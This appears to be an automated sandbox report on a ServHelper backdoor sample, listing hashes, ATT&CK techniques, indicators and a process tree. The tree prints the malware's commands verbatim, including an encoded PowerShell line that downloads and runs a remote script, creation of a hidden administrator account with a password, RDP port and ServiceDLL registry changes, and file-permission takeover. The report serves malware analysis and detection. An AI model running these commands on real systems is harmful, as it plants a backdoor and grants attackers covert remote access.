servhelper | cfdb155368f72aed83e715260f1dd63922a25ce4e6d558941f94cb4a06357994

Target

96d4ecbc8b4e168039901376fc5a8b5a.exe
Size

3.2MB
MD5

96d4ecbc8b4e168039901376fc5a8b5a
SHA1

133d86495e1b248253280bb10a24da1045a75594
SHA256

cfdb155368f72aed83e715260f1dd63922a25ce4e6d558941f94cb4a06357994
SHA512

b6d17596374d88b33e2331687ed70f85add4331d2d7b612a3da44907a79f356e619654378d327889e50e9908e86b96132c3bf395dff1a9f91ea2c3a536bc3c2f

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral1/memory/1832-63-0x000000001D020000-0x000000001D4D0000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1640	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1420	icacls.exe
1568	takeown.exe
1040	icacls.exe
916	icacls.exe
972	icacls.exe
1612	icacls.exe
1156	icacls.exe
1868	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130d5-191.dat	upx
behavioral1/files/0x00050000000130d6-192.dat	upx

Deletes itself 1 IoCs

pid	Process
108	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1816	Process not Found
1816	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
916	icacls.exe
972	icacls.exe
1612	icacls.exe
1156	icacls.exe
1868	icacls.exe
1420	icacls.exe
1568	takeown.exe
1040	icacls.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1832 set thread context of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6F4UI3SBDKDWZXLF6OE5.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4a81773a-e0f5-4ef2-a5f2-de34cb2668f9	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3c6957e8-74a2-4f4b-8b9e-2ffbfad8b797	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_12908eca-b8cd-4d10-9e70-b04c291c2a5b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_64d2041f-a5d4-4dd8-92d3-2eb7c2d51b76	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0ec32dbd-1587-46e9-acc0-1e69875e6ef2	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b55086d3-6cfa-4afe-84fa-fbdf99ff1f90	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0e71c985-30fd-4844-891a-9288a609306a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ff3ecd36-2613-4eb1-a33c-875f35a1a320	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c1f8df1b-d4ec-42fb-9abc-50ab680aeb3c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9886f6e8-b83b-4a27-a7d7-b7bc9cf6b825	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_17a3f845-6047-4ed2-aa7e-24fd19e0ac39	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0b3cfc92a7ad701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1268	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
108	powershell.exe
108	powershell.exe
1268	powershell.exe
1268	powershell.exe
664	powershell.exe
664	powershell.exe
1564	powershell.exe
1564	powershell.exe
108	powershell.exe
108	powershell.exe
108	powershell.exe
1640	powershell.exe
1640	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
488	Process not Found
1816	Process not Found
1816	Process not Found
1816	Process not Found
1816	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	108	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	664	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeRestorePrivilege	916	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1680	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1680	WMIC.exe
Token: SeAuditPrivilege	1680	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1680	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1680	WMIC.exe
Token: SeAuditPrivilege	1680	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1672	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeAuditPrivilege	1672	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1672	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1672	WMIC.exe
Token: SeAuditPrivilege	1672	WMIC.exe
Token: SeDebugPrivilege	1640	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1832 wrote to memory of 1464	1832	96d4ecbc8b4e168039901376fc5a8b5a.exe	29
PID 1464 wrote to memory of 108	1464	vbc.exe	30
PID 1464 wrote to memory of 108	1464	vbc.exe	30
PID 1464 wrote to memory of 108	1464	vbc.exe	30
PID 108 wrote to memory of 1424	108	powershell.exe	32
PID 108 wrote to memory of 1424	108	powershell.exe	32
PID 108 wrote to memory of 1424	108	powershell.exe	32
PID 1424 wrote to memory of 1156	1424	csc.exe	33
PID 1424 wrote to memory of 1156	1424	csc.exe	33
PID 1424 wrote to memory of 1156	1424	csc.exe	33
PID 108 wrote to memory of 1268	108	powershell.exe	34
PID 108 wrote to memory of 1268	108	powershell.exe	34
PID 108 wrote to memory of 1268	108	powershell.exe	34
PID 108 wrote to memory of 664	108	powershell.exe	36
PID 108 wrote to memory of 664	108	powershell.exe	36
PID 108 wrote to memory of 664	108	powershell.exe	36
PID 108 wrote to memory of 1564	108	powershell.exe	38
PID 108 wrote to memory of 1564	108	powershell.exe	38
PID 108 wrote to memory of 1564	108	powershell.exe	38
PID 108 wrote to memory of 1568	108	powershell.exe	41
PID 108 wrote to memory of 1568	108	powershell.exe	41
PID 108 wrote to memory of 1568	108	powershell.exe	41
PID 108 wrote to memory of 1040	108	powershell.exe	42
PID 108 wrote to memory of 1040	108	powershell.exe	42
PID 108 wrote to memory of 1040	108	powershell.exe	42
PID 108 wrote to memory of 916	108	powershell.exe	43
PID 108 wrote to memory of 916	108	powershell.exe	43
PID 108 wrote to memory of 916	108	powershell.exe	43
PID 108 wrote to memory of 972	108	powershell.exe	44
PID 108 wrote to memory of 972	108	powershell.exe	44
PID 108 wrote to memory of 972	108	powershell.exe	44
PID 108 wrote to memory of 1612	108	powershell.exe	45
PID 108 wrote to memory of 1612	108	powershell.exe	45
PID 108 wrote to memory of 1612	108	powershell.exe	45
PID 108 wrote to memory of 1156	108	powershell.exe	46
PID 108 wrote to memory of 1156	108	powershell.exe	46
PID 108 wrote to memory of 1156	108	powershell.exe	46
PID 108 wrote to memory of 1868	108	powershell.exe	47
PID 108 wrote to memory of 1868	108	powershell.exe	47
PID 108 wrote to memory of 1868	108	powershell.exe	47
PID 108 wrote to memory of 1420	108	powershell.exe	48
PID 108 wrote to memory of 1420	108	powershell.exe	48
PID 108 wrote to memory of 1420	108	powershell.exe	48
PID 108 wrote to memory of 844	108	powershell.exe	49
PID 108 wrote to memory of 844	108	powershell.exe	49
PID 108 wrote to memory of 844	108	powershell.exe	49
PID 108 wrote to memory of 1268	108	powershell.exe	50
PID 108 wrote to memory of 1268	108	powershell.exe	50
PID 108 wrote to memory of 1268	108	powershell.exe	50
PID 108 wrote to memory of 1532	108	powershell.exe	51
PID 108 wrote to memory of 1532	108	powershell.exe	51
PID 108 wrote to memory of 1532	108	powershell.exe	51
PID 108 wrote to memory of 1608	108	powershell.exe	52
PID 108 wrote to memory of 1608	108	powershell.exe	52

C:\Users\Admin\AppData\Local\Temp\96d4ecbc8b4e168039901376fc5a8b5a.exe
"C:\Users\Admin\AppData\Local\Temp\96d4ecbc8b4e168039901376fc5a8b5a.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:108
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\00rkaw0q\00rkaw0q.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1424
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES59C4.tmp" "c:\Users\Admin\AppData\Local\Temp\00rkaw0q\CSCDE699AA17EC0445089E23F476B61F798.TMP"
        5⤵
        
        PID:1156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1564
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1568
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1040
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:916
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:972
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1612
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1156
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1868
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1420
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:844
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1268
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1532
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1608
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:632
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1548
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1604
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1132
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1652
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:664
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1348
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1844
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1376
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:272
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1680

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1672
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1848

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc EI7nj2IQ /add
1⤵
PID:1912
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc EI7nj2IQ /add
  2⤵
  PID:1436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc EI7nj2IQ /add
    3⤵
    PID:1532

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:984
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1132

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1384
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:596
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1488

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:988
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1440

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc EI7nj2IQ
1⤵
PID:1912
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc EI7nj2IQ
  2⤵
  PID:1700
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc EI7nj2IQ
    3⤵
    PID:1456

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1552
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1680

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1268
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1672

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1644
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Scripting

T1064

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/108-79-0x000000001ABB0000-0x000000001ABB1000-memory.dmp

Filesize
4KB

Download
memory/108-78-0x0000000001E30000-0x0000000001E31000-memory.dmp

Filesize
4KB

Download
memory/108-83-0x00000000024F0000-0x00000000024F1000-memory.dmp

Filesize
4KB

Download
memory/108-81-0x000000001AA80000-0x000000001AA82000-memory.dmp

Filesize
8KB

Download
memory/108-82-0x000000001AA84000-0x000000001AA86000-memory.dmp

Filesize
8KB

Download
memory/108-80-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/108-112-0x000000001AA8A000-0x000000001AAA9000-memory.dmp

Filesize
124KB

Download
memory/108-93-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/108-85-0x000000001BA50000-0x000000001BA51000-memory.dmp

Filesize
4KB

Download
memory/108-95-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/108-96-0x000000001B520000-0x000000001B521000-memory.dmp

Filesize
4KB

Download
memory/108-97-0x000000001AA40000-0x000000001AA41000-memory.dmp

Filesize
4KB

Download
memory/108-77-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

Filesize
8KB

Download
memory/664-144-0x000000001B640000-0x000000001B641000-memory.dmp

Filesize
4KB

Download
memory/664-145-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/664-142-0x000000001B4B0000-0x000000001B4B1000-memory.dmp

Filesize
4KB

Download
memory/664-140-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/664-139-0x000000001AB84000-0x000000001AB86000-memory.dmp

Filesize
8KB

Download
memory/664-138-0x000000001AB80000-0x000000001AB82000-memory.dmp

Filesize
8KB

Download
memory/1268-131-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

Filesize
4KB

Download
memory/1268-111-0x00000000022B0000-0x00000000022B1000-memory.dmp

Filesize
4KB

Download
memory/1268-130-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download
memory/1268-108-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

Filesize
4KB

Download
memory/1268-104-0x000000001ACD0000-0x000000001ACD2000-memory.dmp

Filesize
8KB

Download
memory/1268-117-0x000000001BD40000-0x000000001BD41000-memory.dmp

Filesize
4KB

Download
memory/1268-105-0x000000001ACD4000-0x000000001ACD6000-memory.dmp

Filesize
8KB

Download
memory/1268-110-0x000000001AC70000-0x000000001AC71000-memory.dmp

Filesize
4KB

Download
memory/1268-106-0x0000000002790000-0x0000000002791000-memory.dmp

Filesize
4KB

Download
memory/1464-67-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/1464-75-0x000000004084C000-0x000000004086B000-memory.dmp

Filesize
124KB

Download
memory/1464-68-0x0000000040CE0000-0x0000000040F8A000-memory.dmp

Filesize
2.7MB

Download
memory/1464-74-0x0000000040847000-0x0000000040848000-memory.dmp

Filesize
4KB

Download
memory/1464-70-0x0000000000400000-0x00000000008DB000-memory.dmp

Filesize
4.9MB

Download
memory/1464-73-0x0000000040846000-0x0000000040847000-memory.dmp

Filesize
4KB

Download
memory/1464-72-0x0000000040844000-0x0000000040846000-memory.dmp

Filesize
8KB

Download
memory/1464-71-0x0000000040842000-0x0000000040844000-memory.dmp

Filesize
8KB

Download
memory/1564-158-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download
memory/1564-159-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/1640-245-0x0000000000B0A000-0x0000000000B29000-memory.dmp

Filesize
124KB

Download
memory/1640-214-0x0000000000B04000-0x0000000000B06000-memory.dmp

Filesize
8KB

Download
memory/1640-213-0x0000000000B00000-0x0000000000B02000-memory.dmp

Filesize
8KB

Download
memory/1832-62-0x000000001BAD0000-0x000000001BAD2000-memory.dmp

Filesize
8KB

Download
memory/1832-63-0x000000001D020000-0x000000001D4D0000-memory.dmp

Filesize
4.7MB

Download
memory/1832-59-0x000000013F190000-0x000000013F191000-memory.dmp

Filesize
4KB

Download
memory/1832-64-0x0000000000160000-0x0000000000170000-memory.dmp

Filesize
64KB

Download
memory/1832-65-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/1832-66-0x000000001E0F0000-0x000000001E57D000-memory.dmp

Filesize
4.6MB

Download
memory/1832-61-0x000000001C090000-0x000000001C6D0000-memory.dmp

Filesize
6.2MB

Download